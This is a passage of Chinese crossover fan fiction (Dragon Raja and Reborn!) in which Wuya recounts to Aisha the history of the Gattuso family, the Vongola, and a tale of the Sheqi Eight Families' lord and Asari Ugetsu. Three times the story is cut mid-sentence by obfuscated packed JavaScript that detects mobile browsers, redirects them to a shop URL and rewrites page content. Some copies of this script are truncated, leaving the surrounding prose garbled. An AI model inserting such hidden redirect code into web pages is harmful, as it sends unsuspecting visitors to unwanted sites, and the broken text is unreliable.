“你知道的,学院的前身是秘党。因为你们需要时刻观测龙族的动向、以及清理失去控制的混血种,所以势力分布在世界每个角落。上千年来龙族的秘密一直没有暴露,也是得益于此。” “是这样。”艾莎轻轻颔首。就她所知,学院光在欧洲就有十几个分部。 “但这其中不包括西西里岛。”乌鸦缓缓地说,“西西里岛不在秘党的管辖范围内。” “…加图索家以前不就在西西里么?”艾莎皱眉。 “对,但那是一个多世纪以前的事。”乌鸦显然做过不少调查,“加图索家是大贵族出身,祖上出过七八个公爵。他们一直想重现古罗马帝国的辉煌,奈何家族里一直没出过皇帝。而真正当上皇帝的又都不太争气——从中世纪开始意大利就被拆得七零八碎的,西班牙、奥地利和法国都能随随便便踩上一脚。” “所以十八世纪开始加图索家就放弃了罗马,重心转移到西西里岛。当时的西西里名义上叫西西里王国,其实常常附属于欧洲的其他王朝,比如波旁王朝或者神圣罗马帝国什么的,和意大利没什么关系。”乌鸦说,“这些王朝背后是欧洲其他的混血种家族。加图索家那种眼高于顶的性格当然不可能跟着他们混,所以干脆就去混.黑了。” ……作为一个欧洲人,现在居然坐在这里听一个日本人讲欧洲史,艾莎顿时有点心情微妙。 “然后呢?” “加图索家混.黑混得很不错,人称‘西西里的加图索家’,在当时的里世界可谓赫赫有名。可是在十九世纪的时候,他们突然毫无征兆地撤出了西西里岛。真的是毫无征兆,据说前一天他们还在巴勒莫举办宴会商议日后的地盘划分,后一天就决定回罗马,连带着势力也撤得干干净净。” “但这和彭格列有什么关系?”艾莎对加图索的家史毫无兴趣。 “彭格列的创立兴盛与加图索的退场差不多在同一时间段,都是一百五十多年前。你不觉得有那么点新旧权力交接的意思么?”乌鸦的话充满暗示。 “说起来那位彭格列Ⅰ世也是位奇人。”他说书似的摇头晃脑,“那会儿的西西里挺乱的,外国势力和本土势力交杂。加图索家能混得那么成功是因为他们有钱有土地,祖上还和很多欧洲贵族是亲戚。可Ⅰ世据说是落魄贵族出身,什么也没有,相当于白手起家。” “那这位彭格列Ⅰ世有点厉害啊?”艾莎不由惊叹。从一无所有到一方势力,有种乱世英雄的感觉。 “当然厉害!加图索家只是仗着家财混.黑。混.黑起点又不高,只要做违法生意都算混.黑。”乌鸦对里世界的这一套谙熟于心,“但彭格列Ⅰ世实实在在开创了Mafia的概念。打个不恰当的比方他就是里世界的乔治·华盛顿,即使在今天也很受尊重。” “开创Mafia的概念是什么意思?”艾莎老老实实暴露自己对里世界的无知。 “那会儿西西里不是很乱么?”乌鸦舔舔嘴唇,“可最苦的还是底层的普通人,要遭受外来势力和本土贵族的双重压迫。于是彭格列Ⅰ世在巴勒莫创立自卫团。这种自卫团以家族为核心,保卫当地居民,反抗贵族无休止的迫害。这概念在当时很新潮,吸引了不少人加入,据说还包括大地主的儿子还有某国情报部门首席这种人物。在当时是很厉害的。” 艾莎犹豫一下,“听起来…还挺光明的?” ——何止是光明简直是伟大,而且似乎和今天的Mafia八竿子打不着一条边。 “是挺光明的。”乌鸦耸了耸肩,“可很多暴力机构成立的初衷都是为了反抗暴力。然而在反抗的过程中力量逐渐壮大,于是自己也成为暴力本身。” 秘党是这样,彭格列也是这样。 看到艾莎有点失望的小眼神,他又补充道,“不过这和彭格列Ⅰ世关系不大。彭格列开始往真正意义上的Mafia发展是在Ⅱ世时期,那时Ⅰ世已经在日本隐居了。顺带一提,你的纲吉君就是他的直系后代。” “原来如此……”艾莎心里对这位传说中的人物更加好奇起来。 “但这不是重点!”乌鸦说,“现在你应该明白了。虽然广义上都属于混.黑,但加图索家和彭格列本质不同。加图索家属于老牌贵族地主,彭格列属于……呃,”他一时有点卡壳。 “这题我会!”艾莎乖乖举手。她想起了二师兄常念叨的高中政治课本,“人民!彭格列属于人民!” 乌鸦愣了一下,心说这话听起来怎么怪怪的呢……因此含糊道:“嗯,差不多吧。再加上两股势力都在西西里岛,彭格列还在扩张当中,爆发冲突应该是在所难免的,只是早晚的问题。” “后来呢?” “后来什么也没有发生。”乌鸦摊开了手,“就像我之前说的,加图索家突然毫无征兆地撤出了西西里岛。你觉得以他们家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658801|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那种性格,这件事正常么?当时他们都已经在西西里待了一百来年了。加图索家或许会放弃一些生意,可他们不可能放弃自己的领地。” 他压低声音,“所以不觉得很诡异么?就好像是一百五十年前突然发生了什么事,这件事让当时最强盛的加图索家也不得不选择退避。一夜之间西西里岛变成了彭格列的地盘。” “你这种说法会让我觉得彭格列Ⅰ世给加图索家下了什么邪门的降头之类的……”艾莎被他这种毫无根据的关联弄得眉头直皱,“这件事可以有很多种解释,也许是当时龙族有什么异动,或是秘党本身的变动,不一定就和彭格列有关。” “我也没说一定是彭格列干的。但它毕竟是最大受益者,被怀疑一下很正常。”乌鸦说,“无论如何,西西里岛不存在秘党势力这件事的确很奇怪。当然了,还有更诡异的事。” “……什么事?” “这是本家在调查拉尔夫的时候才发现的。当时我们查到他藏匿在西西里,于是派出干部前往,可最终没有一个人成功抵达。有的是干部本人临时出现变故,有的是飞机故障需要返航或者迫降。”乌鸦一字一顿地说,“非常诡异,简直就好像……这座岛屿本身在排斥我们的接近一样。” 这就更扯了。艾莎皱起眉。 “可你现在就在西西里岛。” “是。”乌鸦干脆地说,“因为我‘作弊’了。” “怎么说?” “察觉到西西里的异常后,‘辉夜姬’、你还记得‘辉夜姬’吧——本家的超级计算机——得出两种推论。”乌鸦竖起两根手指,“第一种,西西里被某种未知的言灵保护着,排斥一切混血种的接近。考虑到它强大的效果,这种言灵只可能来自某个尊贵的初代种或次代种。” “这是不可能的。”艾莎低声道,“战争已经结束了,世界上不可能还有活着的龙族。” “是,所以还有第二种推论。”乌鸦静静道,“——炼金契约。” -- 这个词一出,他们便陷入一场极端严肃的对视当中。 对着对着,艾莎眼神渐趋迷茫,“……那是什么东西?” “…你不知道‘炼金契约’?!”乌鸦一脸难以置信,“你的炼金学成绩不是A+么?” 他倒也没特意去记她的成绩单,实在是在一堆E、F和挂科里那个炼金学A+过于扎眼,很难不让人印象深刻。 “可炼金学的老师是校长啊。”艾莎同样一脸震惊,“…你难道觉得我是凭自己的实力考出来的么……?怎么可能!炼金学那么难!” “……不是、你们开后门开得这么明显么?”乌鸦喃喃道。而且因为过于明显,反而让人不往这个方向想了。 “校长说反正我那个绩点靠炼金学一门也救不回来,不影响学生间的公平性。索性就给个最高分,”艾莎心虚地挠挠头,“这样别人还不会怀疑。” 撞上乌鸦的死鱼眼,她又大声辩解道,“…但也不是白给的,后来我给执行部打了一暑假的白工呢!” “……行吧,”乌鸦叹了口气,“我对这方面了解也不深,就大概和你说说。‘炼金契约’是炼金术里最高深的一类,现在已经失传了。学院的每个学生入学前都要签订《亚伯拉罕血统契》,原本那就是一种炼金契约。” 43. 第43章 历史课(中) “《亚伯拉罕血统契》是中世纪流传下来的文书,内容上一直没什么变化,统共就那么几项——”乌鸦说。 “不得投靠龙族、不得沉湎力量,”艾莎停顿一下,“不得向他者泄露龙族的存在。” “对。但在中世纪时它还是一份正儿八经的炼金契约,具备强大的约束效力。”乌鸦看看她,“假如我们生活在中世纪,理论上你在向彭格列泄密的下一秒就会被凭空碾成一团肉泥什么的……” 艾莎:“……” “而你之所以没有变成一滩肉泥,是因为现在的《亚伯拉罕血统契》只是个空壳。”乌鸦说,“‘炼金契约’极其高深,传说只有极少数炼金术师能够完全掌握。秘党在漫长的时间中丢失了它。” “……那可真是谢天谢地。”艾莎干巴巴地说。 “但炼金术和言灵不同。目前我们已知的最强言灵甚至能修改因果,把一个人存在过的痕迹完全抹去。这种言灵作用于世界上所有人。”乌鸦意有所指,“炼金契约的效果没这么强大,在签订时它必须取得双方的同意,且只能约束单个人,或者某个特定群体。” “你认为被约束的是秘党?” “我们将没能成功进入西西里的干部的个人资料投入‘辉夜姬’计算,”乌鸦耸耸肩,“被约束的要不是秘党,要不就是他们都喜欢光顾的一家陪酒女酒吧。” 艾莎陷入沉思。 “想什么呢?”乌鸦敏锐道。 “我在想副校长有没有一百五十岁,”艾莎严肃地说,“如果是他的话,和陪酒女酒吧签订契约这种事也不是做不出来。” 乌鸦:“……” 你到底是有多不想承认西西里岛和秘党有牵扯啊!?还有哪个炼金术大师会无聊到跟陪酒女酒吧签订炼金契约啊喂!? ……等等如果是那位副校长的话好像还真的挺合理的!? “感谢你提供的新思路。”乌鸦有点头疼,“很可惜本家没有你这样的人才。大家长判断这件事极有可能触及秘党秘辛,所以才派了我过来。” “所以说为什么是你?”艾莎想到他之前说的“作弊”。 “老大离开蛇岐八家后,我们几个作为下属也跟着自动离职了,这是道上的规矩。所以严格意义上来说我现在不是本家的人,当然也就不属于秘党。”乌鸦顿了顿,“保险起见,我还与桃巨会举行了‘盃事’。这是黑.道的礼仪,古老复杂,有很多种类。桃巨会的人以为那场‘盃事’是同盟的意思,可其实是让我加入。” “然后我就来到了西西里岛。”他深吸一口气,心绪变得有些复杂,“这件事结束后,也会是我重回本家的投名状。” “明白了。”艾莎认真地点点头,“所以你现在不是蛇岐八家的乌鸦,而是桃巨会的乌鸦。” 乌鸦:“……” ——你到底都明白了些什么啊!关注点都歪到十万八千里去了! “这个羞耻的称呼求不提,”他默默捂脸,“不然以后真没法在道上混了……” “可还是不对啊。”艾莎对他的请求不置可否,“我没有退出秘党,但我也在西西里岛。” “所以我见到你的时候才会那么惊讶。按照辉夜姬的说法这里没有秘党,即使存在混血种也不会是朋友。但我遇到了你。”乌鸦说,“目前我们已知的、成功进入西西里岛的人只有四个:拉尔夫是没有血统的普通人,赫尔佐格极有可能是相同情况,我是组织外的人,至于你嘛……” “你能不用这种研究奇珍异兽的眼神看着我么……”艾莎满头黑线,“说到底炼金契约也只是猜测,就连存不存在都不知道。或许一切只是巧合。” “…你以前可不是这种会把所有事归咎于巧合的性格。”乌鸦啧啧称奇,“这就是爱情的力量么?使人改头换面什么的。” 艾莎凉凉地觑了他一眼。“友情、我是说友情!”他立即大声地修正道。 “但你应该比我更了解秘党,那是一个豪横了上千年的暴力机构。”乌鸦一秒钟重回正经,“除非是炼金契约或者类似的强制手段,否则它真的有可能放任西西里岛偌大一个地盘真空这么久么?” “那豪横上千年的暴力机构就有可能压抑住暴力因子、和这里的本土势力签订什么失传已久的契约么?”艾莎毫不留情地槽了回去。 但说到这里她突然一顿,蓦地想起了自己来西西里岛的初衷——沢田与她的祖先共同寄存了一样东西在复仇者监狱,这种情况大概率是相互认识的……这么一想,彭格列与秘党或许真的曾有过交集。 她不动声色的将内心深处的犹疑掩饰过去,“不对——蛇岐八家以前和彭格列不是有过接触么?” 记得沢田和乌鸦都提到过这件事。 “很遗憾,这只能更加证明炼金契约的存在。”乌鸦说,“本家与彭格列的来往是在加入秘党之前,那会儿还是德川幕府时代呢。结果加入秘党后,我们就神奇的和彭格列断了联系……” 这时他突然顿住,像是反应过来什么,眼睛也变成了死鱼眼,“其实说了这么多你只是想知道彭格列的事吧!?只是单纯好奇你的纲吉君所在的家族历史而已——是吧!?” 怪不得她对西西里岛的异常一点也不关心! “唔、”艾莎噎住。 她也不知道自己现在的心虚多少是真的多少是装的,总之不想让乌鸦再继续深入什么炼金契约的事。不想再给纲吉君添更多麻烦。 因此她抓起苹果抄起刀,学着大师兄的样子露出一个有点狗腿的笑来(每回大师兄忽悠人的时候都这么笑,但不知为何乌鸦的表情变得有些惊恐),“你就说嘛!彭格列和蛇岐八家最开始认识的事——我再给你削个苹果!” -- 聊的东西变成了历史八卦,乌鸦一下子随意了很多。 “说到本家和彭格列的第一次接触,其实挺早的、”他咔哧咔哧啃苹果,“彭格列Ⅰ世的家族成员里就有日本人。” “难道是混血种么?”艾莎自然而然产生联想。 “不,和混血种没关系。”乌鸦说,“他是当世闻名的剑术大师,一生未尝败绩的那种。就是有个毛病。” “什么毛病?” “过于沉迷于音乐。”乌鸦耸耸肩,“据说他沉迷到把所有的钱都拿去买乐器,二十多岁房子女人一样没有,整天抱着自己心爱的小笛子在荒野里游荡……” “听上去真是很有个性啊……”艾莎嘴角微抽。 “不是一般的有个性。”乌鸦给予肯定,“最夸张的是作为一个剑术大家他甚至舍不得拿钱买一把剑。于是想要和他比试的人就很崩溃,切磋讲究一个公平公正,你都没武器那怎么比?” “那就不比呗。” “那位剑术大家也是这么说的。但你也知道,修习武道的人脑子多多少少有点拧巴,怎么可能说不比就不比?”乌鸦舔舔嘴唇,“于是前来挑战的人想出一个办法:不光要比,而且要比的光明正大。你没有武器我就帮你把武器准备好。既然我的刀是名刀,你的刀也不能差,我帮你找最好的工匠铸刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“真是光听着就让人血压升高啊……”艾莎感叹。 “谁说不是呢?而且源家家主还十分具备工匠精神。他认为朝利雨月会拒绝他的刀是因为他的刀还不够好,因此一直没有停止为他锻造新刀……这就像碰到一个极其难缠的甲方,你不断地递送方案然后不断的被否掉,最后源家家主修养再好也变得一脸狰狞。” “不我觉得问题不止出在朝利雨月身上……然后呢?他去找朝利雨月算账了么?” “不,恰恰相反,”乌鸦缓缓地说,“是朝利雨月主动来找了他。” 艾莎一愣,“什么意思?难道是觉得天天决斗太麻烦,让源家家主不要再帮忙锻造新刀了么?” “和这个没关系,从记载来看朝利雨月也不是个避战的人。”乌鸦说,“据说是当时远在意大利的彭格列Ⅰ世遇到了什么危机,朝利决定去帮他。” “可这和他来找源家家主有什么关系?” “你以为那时出国像现在一样方便么?买张机票就走了。”乌鸦叹道,“那会儿正赶上黑船事件,举国震动。幕府里开国派与攘夷派整日争论不休,谁也辩不过谁。这种情况下港口全被封锁,走正路出不了海。能帮他的只有蛇岐八家。” “所以朝利雨月才去找了源家家主?” “对。他去拜访了本家的宅邸,本以为会吃闭门羹,但没想到本家的人颇为热情的把他迎了进去。他被侍女领着穿过蜿蜒曲折的回廊、路过红叶怒放的枯山水庭院,一扇扇浮世绘风格的和式拉门在他面前开合……” “你这段描述真是和唐僧进盘丝洞有异曲同工之妙……” “咳、总之最终朝利雨月来到源家家主面前。他以为他要见的是蛇岐八家的主人,” 艾莎接上他的话:“——但其实他看到的是一个出离愤怒的乙方。” “……这么说也不是不行。”乌鸦勉强点了点头。 44. 第44章 历史课(下) 房间里,八卦的气氛如火如荼。 “朝利雨月向源家家主表明了来意,但源家家主不为所动。他冷冷说你的意思我明白了,但黑.道有黑.道的规矩,我们不做没有回报的事。现在你要我违抗将军大人的命令帮你出海,你要拿什么东西作为抵押,你那堆无用的乐器么?” “源家家主嘴好毒……” “朝利雨月却说他已经把自己全部的乐器都卖掉了,他用它们换了武器和旅费。如果不是突如其来的封锁,此刻他已身在前往意大利的荷兰商船上。现在他来请求蛇岐八家的帮助,但他的确一无所有。于是源家家主挑挑眉毛,问他那你的意思是要打欠条么?” “真是不遗余力地扮演一位黑.道大佬啊源家家主。”艾莎为他的爱岗敬业心点赞。 “朝利雨月又说自己无法写下欠条。这一次他是抱着必死的决心前去相助友人,没有活着回来的把握。源家家主将手搭在隐几上,冷冷反问说你什么都没有、又无法签下欠条,却依然想得到蛇岐八家的帮助么?朝利雨月说他并不强求,如果蛇岐八家拒绝,他会再想别的办法。” “当时还能有别的办法么?” “不知道。理论上如果他的身体足够强壮,可能可以先游泳去清国,然后再从那里坐船去意大利什么的……” “可那样剑会生锈吧?” “……你的关注点真是一如既往的奇特——”乌鸦轻咳了两声。 “——听到朝利的话,源家家主换了个坐姿,说不用这么麻烦。听闻你是当世最强的剑客,北辰一刀流、镜心明智流和示现流的皆传曾先后向你发起挑战,但尽皆落败。我恰好也学过一点剑术,愿意同你比试。你想出海是么?黑.道一向敬重强者,赢我你就能出海。” “这个展开真是老套又经典……”艾莎吐槽,“话说源家家主肯定不止学过‘一点’剑术吧?”电影或者小说里会这么说话的一般都是强到爆炸的高手。 “那当然了,历代大家长接受的都是最顶尖的日本传统教育。源家家主学过当时日本所存的全部剑术。要与他比试,就意味着要同时接受日本所有剑术流派的挑战。”乌鸦说,“这话说完,源家家主就缓缓站了起来……” 艾莎打断他,“等等,你不觉得从刚刚开始你对源家家主的动作描述就多到离谱么?”相比之下对朝利雨月就简单得多。 “记载上就是这么说的。”乌鸦摊开手,“这些事又不是什么重要的历史事件,能有所保留是因为家族有忍者专门记录大家长的日常生活。忍者的记录风格就是这样,每时每刻每个细节都不放过。我已经省略很多东西了,比如源家家主是拿哪只手搭的隐几换坐姿的时候躬起了哪条腿什么的。” “你们古老家族的规矩都这么变态么……” “没办法,这是先代传下来的东西,千百年来都是那样。” “可是这种规矩存在的意义是什么?”艾莎有点理解不能,“因为大家长神圣无比所以他的一言一行都必须被虔诚地记录下来否则老天就会降下天罚之类的么?” “没那么玄乎。”乌鸦说,“记录是为了更好的侍奉大家长,让他不为生活中的琐事烦心。把注意力集中到‘家族事务’上去。” “家族事务是指把黑.道事业做大做强么?”艾莎诚恳槽道。 “放在普通帮派可能是这样。”乌鸦有点尴尬地望着彭格列总部的天花板,“可蛇岐八家最看重的东西你又不是不知道——历代大家长身体里都流淌着‘皇血’,那才是本家存在的根基。” “所以历代大家长的首要事务都是延续血脉,说难听点就是当种马。”他脸上流露出一种非常复杂的表情,说不清到底是唾弃还是羡慕,“但大家长是混血种中的‘皇’——谁敢强迫皇帝繁衍呢?于是家臣们就通过记录旁敲侧击:比如从他的生活细节里观察他对女人的偏好;再直接一点的,如果忍者记录某天大家长多看了某个侍女一眼,当晚那名侍女就会被送到大家长的房间里去。所有人为了大家长的后代不遗余力。” “有这本事还窝在蛇岐八家真是太屈才了,这要是去总务省任职那必然让日本三年告别少子化啊!”艾莎听得啧啧称奇,“我要是你们大家长,上任第一天我就得自戳双目挥刀自宫。” 她嘴上吐槽,但心里细想一下,又觉得不寒而栗。 ——每一分每一秒都有人对着你奋笔疾书窃窃私语,他们围着你好像你是什么濒临灭绝的珍稀动物,你活着的意义就是配种。 这是何等孤独、疯狂、变态的人生。真是想想就叫人心情暴躁。 “你也别忙着挖苦。”乌鸦抬眼看她,“这些东西你不理解很正常,第一你是现代人,第二你不是日本人。” “……这跟我不是日本人有什么关系?”艾莎有点莫名其妙。 “你现在是不是觉得当时的家臣都是一群疯狂又变态的野蛮人?是不是奇怪都这样了为什么一代又一代的大家长还不连夜逃出蛇岐八家?”乌鸦叹息着摇了摇头,“正因为你不是日本人,所以你不会知道所谓‘组织’可以恐怖到什么地步。” “秘党也是组织。” “但不是日本的组织。日本的组织文化在全世界也是独一份的——或者说极致的集体主义——这是根植于日本文化深处的东西。”乌鸦说,“你可以把组织想象成庞大的机器,里面的每个人各司其职,像螺丝钉一样牢牢镶嵌在既定的位置。你活着就是为了维持机器的运转,至于你心里想什么根本不重要。几乎每个日本人都被组织束缚着,天皇、将军、武士,公家、幕府、武士道……像朝利雨月那样除了乐器无牵无挂的人才是少数。” “当时的蛇岐八家也是一样。大家长未必乐意当种马,家臣也未必享受天天用各种手段鼓动大家长生孩子——这本来就是违背人类天性的制度。但这些都只是个人情感,个人情感与义务是两码事。凡是碍于组织运转的,都是必须被扫除或者压抑的东西。” 艾莎有点不可思议,“你的意思是两边的人都不喜欢这样做,但这个制度还是维持了上百年……?你们日本人也太能忍了。”怪不得日本天皇掌权两千多年从来没被推翻过,这要搁中国早不知道喊了多少回“王侯将相宁有种乎了!” “我说了,极致的集体主义。一切以组织为先。”乌鸦耸耸肩,“但违背天性一直忍耐是件很痛苦的事,所以日本的自杀率到现在都逐年飙升嘛。忍着忍着忍不下去了,只好去站台卧个轨或者去树海上个吊什么的。也只有这样才能从组织里解脱——除了死没有第二条路。” “那你们就没出过什么比较叛逆的大家长么?”艾莎不死心地追问。她不喜欢这种逆来顺受的故事。 “你看我说你不了解组织文化吧?”乌鸦叹道,“大家长是混血种中的‘最强’没错,可有些东西和实力无关。” “况且你会觉得这种制度扯淡是因为你活在现代社会。”他淡淡地说,“如果你从小就生长在那样的环境里,即使察觉到有哪里不对,也未必就有质疑的勇气和能力。” 艾莎顺着这个思路想了想,过了很久才问道,“源家家主也是么?” 她突然有种预感,源家家主与朝利雨月的故事或许并不如她最开始想象的那样欢快。 “源家家主不太一样,非要说的话他大概属于‘劳模’那一类的。”乌鸦说,“绵延子嗣和管理家族一样不落,活得兢兢业业。唯一的缺点大概是太喜欢跑到山上打铁,但因为他其它方面做得太完美,所以家臣们也不好说什么。” “象龟大概不会喜欢他。” “但我第一次知道源家家主就是因为老大。很久以前他专门跑去翻阅过本家的典籍,”乌鸦说,“老大不是个对家族历史感兴趣的人,大概是有人对他说了什么。他在存放典籍的白羽天狗神社坐了三个小时,之后喝了一夜的酒。” “什么意思?”艾莎皱眉。 “你不好奇典籍的内容么?”乌鸦轻声说,“上面记载的是源家家主年少时的往事。家臣自作主张将他的乳母送进他的房间,他在惊怒下离开。之后乳母以侍奉不周为由向家族切腹谢罪,当初做出决策的家臣也被拉出去杀掉。不久之后源家家主离开了他的宅邸,他扮作脱藩的野武士,誓死不再回到家族。” “……可最终他还是回去了。”艾莎说,“蛇岐八家派人把他带回去了么?” “不,大家长是家族中至高无上的存在,家族对他只有‘爱意’,有谁会公然违抗他的意志呢?”乌鸦说,“家族只是派人跟着他。源家家主走在前面,身后十步远就是最正式的仪仗和车队,队伍最前端高悬着天照命的旗帜与源氏的龙胆家纹。虽然他扮作野武士,但走到哪里都无人敢于接近。人人都知道他是源氏的主人。” “真是叫人喘不过气来的深重‘爱意’啊……”艾莎低声说,“如果是我只会变得更生气。” “是啊。”乌鸦赞同地点点头,“即使是普通混血种也会因为龙族基因的影响而变得至凶至暴,更何况是混血种中的‘皇’呢?最开始源家家主杀光了车队里的所有人,连马匹也没有放过。可是杀光一批还有一批,无论多少次醒来他都能看到同样的仪仗与车队跟在他身后,家族中的人用这种方式向他展示他们的决心。除非他杀光日本全部的混血种,否则他到死都是源氏家主、是蛇岐八家的主人。” “可如果是你,你会这么做么?”他轻声说,“把家族的人都屠尽你就是这片土地上唯一的混血种、唯一的异类。如果有一天连束缚你的枷锁都没有了,你就真的什么都没有了。一个人活在世界上多么孤独。” “……血之哀么?”艾莎垂下眼帘。 “那是你们欧洲混血种的叫法。以前我们管它叫‘血的悲命’。”乌鸦缓缓地说,“意思是只有你的身体里还有龙血流淌,悲哀的宿命就不会断绝。” “可催生悲哀的究竟是‘血’还是‘组织’呢?” “有区别么?”乌鸦淡淡地说,“没有混血种就不会有蛇岐八家。” 他们一时陷入沉默。半晌后乌鸦没好气地咬了口苹果,“真是个叫人沮丧的故事。这种故事就应该配清酒和热腾腾的拉面……你能搞到清酒么?” “重伤的人就不要想着喝酒了。”艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“并不完全。”乌鸦说,“朝利也很困惑。源家家主解释说十年以前我们有过一面之缘,那时我扮作浪人四处周游,碰巧遇见你在荒野里吹笛子。你的笛子吹得很好,叫我想明白一些事。所以我为你铸刀,还这段因缘。听说你在江户四处寻找出海的机会时我很吃惊,究竟是什么事使得爱乐成痴的朝利雨月不惜舍弃全部乐器也要完成?这件事具体是什么我不关心,只是不要再说什么回不来的丧气话了,带上我为你铸造的刀剑你会战无不胜。现在出发去那个叫意大利的国家吧,去做你要做的事。我们之间的因缘就此了结,这次可不要再原物退还了。” “……所谓的一面之缘是指源家家主离家的时候么?”艾莎沉默一下,“当时他想明白了什么呢?” 如果源家家主是因为朝利雨月而明白自己永远也无法摆脱血与家族的束缚,那么这个故事未免过于悲哀。 “这个问题老大也想过,还问过我们几个。最后得出的结论比较悲观。”乌鸦说,“但樱不这样想。她说果真这样,源家家主想必会对朝利雨月产生厌憎之心吧,又怎么会在之后不厌其烦的为他铸刀呢?话又说回来,从未得到过自由的人又怎么会知道自己想要的是自由?” “源家家主直到最后都把朝利雨月当作一名乐师尊敬。或许从他的笛声里,源家家主的确明白了自己追寻的东西,也获得了自己追寻的东西,哪怕只是短暂的一刻而已。”他轻声复述樱的原话。 “不过这些也只是樱拿来宽慰老大的话。真相是什么谁也不知道。”乌鸦说,“家族的记载里没有这些东西。” 艾莎很长时间都没说话。她想象百年以前的日本,乐师在荒草丛生的旷野上横笛吹奏,流浪人装扮的黑.道主人在不远处默默驻足聆听。在他身后跟着浩浩荡荡的仪仗与车马,华美森严,威仪具足。 笛声响彻。山野间落下蒙蒙细雨,淋湿了朝阳般光华绚烂的天照命。 那一刻那么安静。 -- 之后他们又聊了一会儿,但两个人都有些意兴阑珊。乌鸦对蛇岐八家与彭格列的过往纠葛如数家珍,但对沢田纲吉倒没什么了解,只神神秘秘传给艾莎一段视频。 她还没来得及看,手机便率先响了起来。 艾莎看了一眼屏幕,但并没有接通,只是立即起身打算离开。 “欸欸,等等等等,看在我说了这么久说到嗓子都冒烟的份上,你好歹也回答我一个问题。”乌鸦叫住她。 “什么?” “按理说我没立场管你的私事,但你和彭格列到底是什么情况?”他挠挠脑袋,神色却难得的正经起来,“你告诉了他混血种的事,他看起来还接受的挺良好的。可你给他看过‘黄金瞳’么?” 对于一般人来说,‘龙族’是神话般遥远的东西。 有时正因为过于模糊,所以才不知恐惧。 艾莎闻言沉默。从她的表情里乌鸦就能看出答案。 “你不是第一个想亲近普通人的混血种。”他继续低声道,是劝说般的语气,“可人人都知道贞德的下场。像源家家主和朝利雨月这样萍水相逢短暂相交不也蛮好?” “艾ちゃん,不要对彭格列抱太高的期待。有些事是基因决定的,你改变不了。” 大家都喜欢扫除一切障碍彼此拥抱的happyending。可到头来世界上伤心的故事还是那么多。 女孩平淡地看了他一眼。 “吃你的苹果吧。”她把削好的苹果塞进他嘴里。 45. 第45章 黑历史 沢田纲吉结束工作的时候已经是晚上9点。他没有立即回到自己的房间,而是穿过廊桥,向别馆的医疗部门走去。 房门并未完全阖上。他轻轻推开,首先映入眼帘的是无数闪着微光、精密复杂的医学仪器,它们就像钢铁的堡垒般,把那个年幼的孩子——或者说村上雅纪——守卫在正中。 剥离体内炸.弹的手术持续了一整天。现在雅纪仍在昏睡当中,小小的、稚嫩的脸上佩戴着厚重的呼吸面罩。尽管身上的伤势都有被好好处理过一遍,这副场景看了还是不免叫人心情沉重。 沢田将视线转移到窗边——艾莎也正朝这边望过来,并冲他露出一个微笑。 果然在这里。他在心里想道。 自从他们带回雅纪那天起,她就一直守在这孩子身边。除了趁今天白天雅纪做手术的功夫抽空探望了一下乌鸦以外,几乎就没有离开过这个房间。 可是比起单纯的看顾病人,这种寸步不离的守望似乎还另多一些别样的意味。 目光相触的时候,两人都从彼此眉眼间捕捉到某种阴郁的疲倦。然而当他们再靠近一点的时候,那种疲倦便又不可思议的消弭了。 沢田坐到了她身边,“佐伯君的伤怎么样?” “叫他乌鸦就行啦。”艾莎大喇喇地摇了摇头,“恢复得挺好的,一时半会大概死不了。” 提到乌鸦,她脸上突然浮现出一种古怪的笑意,并仔细的端详他一阵,像是要从中找寻什么难以察觉的隐秘痕迹一样。 沢田被这种目光看得一阵没来由的心虚,“……怎么了?” “…乌鸦给我看了一段视频,据说是原本桃巨会想要拿来威胁纲吉君的利器。”艾莎把差点压抑不住的笑闷在喉咙里,“……纲吉君要看么?” 桃巨会能有什么威胁他的东西……以前考试不及格的试卷么?可帮派应该进不去云雀前辈管辖的并中才对。 沢田尚未完全反应过来,只稍稍正色,低头看向艾莎手中的手机。 视频里是一间颇具日本帮派特色的办公室——昏暗的光线、墙上高悬写着意义不明汉字的匾额、以及一群穿着花里胡哨的黑.帮成员。 接着两名中学生冲了进来——是十年前的隼人和阿武——隼人不由分说地踹翻了离他最近的一张桌子,阿武则面带微笑的轻松放倒了一个莫西干头的混混。在二人凶残的攻势下,原本凶神恶煞的帮派成员或者抱头鼠窜或者口吐白沫……一时也说不清视频里究竟哪一方更像反派一点。 再然后,是年轻一点的迪诺与——十年前慌慌张张的自己——一同进入了办公室。随着视频的播放,那段模糊的记忆也在沢田纲吉脑中渐渐复苏。 ……等等,他之前只隐约记得与桃巨会的冲突是某位无良家庭教师引导下的无妄之灾,还是中学生的他在不得已之下与桃巨会大打出手。 可是那时候的自己、如果是那时候的自己的话——当时他是不是还不会使用超死气模式来着!? 超直感开始嗡嗡作响,某种危机感涌上心头,并在看到迪诺一鞭子痛击除了十年前的自己以外的所有友军后达到顶峰—— “艾艾艾艾艾莎!”沢田纲吉下意识去夺她手中的手机,此刻他脸上慌乱的神情与十年前孤身面对桃巨会包围的自己简直如出一辙。 可艾莎似乎早有准备,一击之下并未让他得逞。 他们的近身搏斗都不差,只是顾虑到尚在昏睡的雅纪,不敢有什么太大的动作。 两个人无声且激烈的在手上过了几招,最终沢田凭借着身高优势(也可能是因为后来艾莎几乎笑瘫在他身上的缘故),一把夺到了手机。 拿到手机后他的第一反应就是去找右上角的删除键。 